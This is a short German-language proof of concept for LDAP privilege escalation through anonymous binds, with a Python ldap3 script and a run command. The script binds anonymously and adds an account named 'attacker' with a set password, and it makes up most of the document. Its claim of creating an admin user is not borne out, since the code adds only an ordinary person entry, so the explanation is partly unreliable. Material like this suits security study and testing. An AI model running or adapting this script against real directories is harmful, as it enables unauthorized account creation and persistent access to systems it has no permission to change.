
Python-Proof-of-Concept für die LDAP-Privilegienerweiterung durch anonyme Binds, das unsichere ACLs simuliert, um über unauthentifizierte LDAP-Binds Admin-Benutzer zu erstellen.
# ldap_anon_sim.py - LDAP server allowing anonymous bind with write access
from ldap3 import Server, Connection, ALL
# Simulated: real server would be misconfigured
server = Server('ldap://localhost:389', get_info=ALL)
conn = Connection(server, authentication='ANONYMOUS')
conn.bind()
# If anonymous has write permission to userPassword, can add self as admin
conn.add('uid=attacker,ou=people,dc=example,dc=com', ['inetOrgPerson'], {'uid': 'attacker', 'userPassword': 'password'})
print("User created anonymously!")
Ein LDAP-Verzeichnis ist falsch konfiguriert: Es erlaubt anonyme Binds und gewährt zudem Schreibzugriff auf sensible Attribute (wie userPassword). Ein Angreifer kann sich anonym binden und einen neuen Admin-Benutzer erstellen, wodurch Privilegien eskaliert werden.
Führen Sie die Simulation aus (für einen echten Test ist ein tatsächlicher LDAP-Server erforderlich, wir zeigen jedoch das Konzept):
python ldap_anon_sim.py
Das Skript versucht, anonym einen Benutzer hinzuzufügen.